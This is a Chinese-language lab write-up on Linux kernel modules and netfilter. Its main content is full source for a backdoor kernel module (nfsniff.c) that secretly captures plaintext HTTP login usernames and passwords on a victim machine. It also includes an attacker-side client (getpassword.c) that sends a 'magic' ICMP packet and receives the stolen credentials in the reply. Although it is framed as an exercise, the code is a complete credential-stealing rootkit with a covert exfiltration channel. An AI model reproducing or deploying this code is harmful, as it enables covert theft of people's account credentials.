一：要求：
编写一个基于netfilter的模块，该模块的功能是捕获如mail.ustc.edu.cn等使用明文传输用户名和密码的网站的用户名和密码；并在接收到特定的ICMP数据包之后将捕获的用户名和密码发给攻击者。
二：背景介绍
1.LKM：Loadable Kernel Module是可加载内核模块，通过 Linux 内核模块（LKM）可以在运行时动态地更改 Linux，可动态更改 是指可以将新的功能加载到内核、从内核去除某个功能，甚至添加使用他 LKM 的新 LKM。
LKM版hello world：
内核模块必须有至少两个函数，init_module()和cleanup_module()，分别表示起始和结束（也可以使用宏定义，module_init或module_exit指定函数担任起始和结束函数，并不一定是这两个函数名）。每一个内核模块都必须包括linux/module.h。
/*
* hello-1.c - The simplest kernel module.
*/
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
int init_module(void)
{
printk(KERN_INFO "Hello world 1.\n");
/*
* A non 0 return means init_module failed; module can't be loaded.
*/
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO "Goodbye world 1.\n");
}
编译内核模块的makefile如下：
obj-m += hello-1.o
all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
内核模块编译成功之后会产生.ko文件，使用insmod命令可以将该内核模块加载到内核，使用rmmod命令可以将内核模块卸载。
对于本例，可以在insmod 和rmmod之后，使用dmesg | tail 命令查看这个hello world程序在内核中的输出。
2.Netfilter是从Linux 2.4开始内核的一个子系统，架构就是在整个网络流程的若干位置放置了一些检测点（HOOK），而在每个检测点上登记了一些处理函数进行处理（如包过滤，NAT等，甚至可以是 用户自定义的功能）。
IP层的五个HOOK点的位置如下所示
[1]:NF_IP_PRE_ROUTING：刚刚进入网络层的数据包通过此点（刚刚进行完版本号，校验和等检测）， 目的地址转换在此点进行；
[2]:NF_IP_LOCAL_IN：经路由查找后，送往本机的通过此检查点，INPUT包过滤在此点进行；
[3]:NF_IP_FORWARD：要转发的包通过此检测点，FORWORD包过滤在此点进行；
[4]:NF_IP_POST_ROUTING：所有马上便要通过网络设备出去的包通过此检测点，内置的源地址转换功能（包括地址伪装）在此点进行；
[5]:NF_IP_LOCAL_OUT：本机进程发出的包通过此检测点，OUTPUT包过滤在此点进行。
三：主要功能
本次编程实验的目的是为了练习LKM编程和更进一步深入了解iptables和netfilter。程序的主要功能在在受害者电脑上安装一个kernel module，此模块的功能是暗中记载受害者的mail.ustc.edu.cn（或任何一个使用明文传输用户名和密码的网站）的用户名或密码，并且在接收到攻击者发送过来的特殊数据包，本例中是一个特殊的ICMP数据包之后，将受害者该网站的用户名和密码发送给攻击者。
四：代码
1.编写内核程序nfsniff.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36
MODULE_LICENSE("GPL");
#define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr))
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */
//sk_buff socket buffer）结构是linux网络代码中重要的数据结构，它管理和控制接收或发送数据包的信息。
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_http(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_connection;
int len,i;
tcp = tcp_hdr(skb);
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
check_connection = strstr(data,"Connection");
name = strstr(check_connection,"uid=");
_and = strstr(name,"&");
name += 4;
len = _and - name;
//kmalloc:分配内核空间的内存，kmalloc保证分配的内存在物理空间是连续的，vmalloc保证虚拟地址空间的连续
//len+2:要分配内存的大小，GFP_KERNEL：要分配内存的类型
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(username + i) = name[i];
}
*(username + len) = '\0';
passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd += 9;
len = _and - passwd;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(password + i) = passwd[i];
}
*(password + len) = '\0';
} else {
return;
}
if (!target_ip)
target_ip = ip_hdr(skb)->daddr;
if (!target_port)
target_port = tcp->source;
if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
if (have_pair)
printk("Have password pair! U: %s P: %s\n", username, password);
}
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
//捕获输入的用户名和密码
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct tcphdr *tcp;
/* Make sure this is a TCP packet first */
if (ip_hdr(sb)->protocol != IPPROTO_TCP)
//保留该数据包
return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
/* Now check to see if it's an FTP packet */
//htons host to network short 将主机的无符号短整型转换为网络字节序
if (tcp->dest != htons(80))
return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
//解析HTTP包
if (!have_pair)
check_http(sb);
/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
//捕获攻击者发来的ICMP包
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;
/* Is this an ICMP packet? */
if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);
/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = ip_hdr(sb)->saddr;
ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
ip_hdr(sb)->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) {
case ARPHRD_PPP: //ppp协议 /* Ntcho iddling needs doing */
break;
case ARPHRD_LOOPBACK://环路
case ARPHRD_ETHER://以太网
{
unsigned char t_hwaddr[ETH_ALEN];
//eth_hdr(sb)代表以太网帧的头部，交换源和目的MAC地址
/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)eth_hdr(sb);
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
ETH_ALEN);
memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
//icmp头部包括：类型号（8bit)代码段(8bit)校验和(16bit)标识符（16）序列号（16）IP头部，IP数据报的前8字节
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
//memcpy(cp_data + 4, username, 16);
//username所指内存地址拷贝16字节到cp_data
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to.
* Fingers crossed... */
//封包函数
dev_queue_xmit(sb);
/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
// printk("Password retrieved\n");
//忘掉数据包
return NF_STOLEN;
}
int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_INET_PRE_ROUTING;
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_INET_POST_ROUTING;
nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);
return 0;
}
void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);
if (password)
kfree(password);
if (username)
kfree(username);
}
2.编写Makefile文件
obj-m += nfsniff_http.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
~
3.make 将.c文件插入到内核，此时后门程序开始监听
4.在另一台虚拟机编译运行getpassword.c文件，发送ICMP报文给被攻击者，同时捕获发回来的ICMP报文中的账号密码。
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);
exit(1);
}
/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
strerror(errno));
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */
fprintf(stdout, "Sending request...\n");
//icmp:句柄。 dgram：缓冲区 84：缓冲区长度 0：flag位， addr:目标ip，
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "\nFailed sending request! %s\n",
strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply...\n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s\n",
strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s\n",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %s\n",
(char *)((char *)icmphead + 28));
close(icmp_sock);
return 0;
}
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
5.演示截图
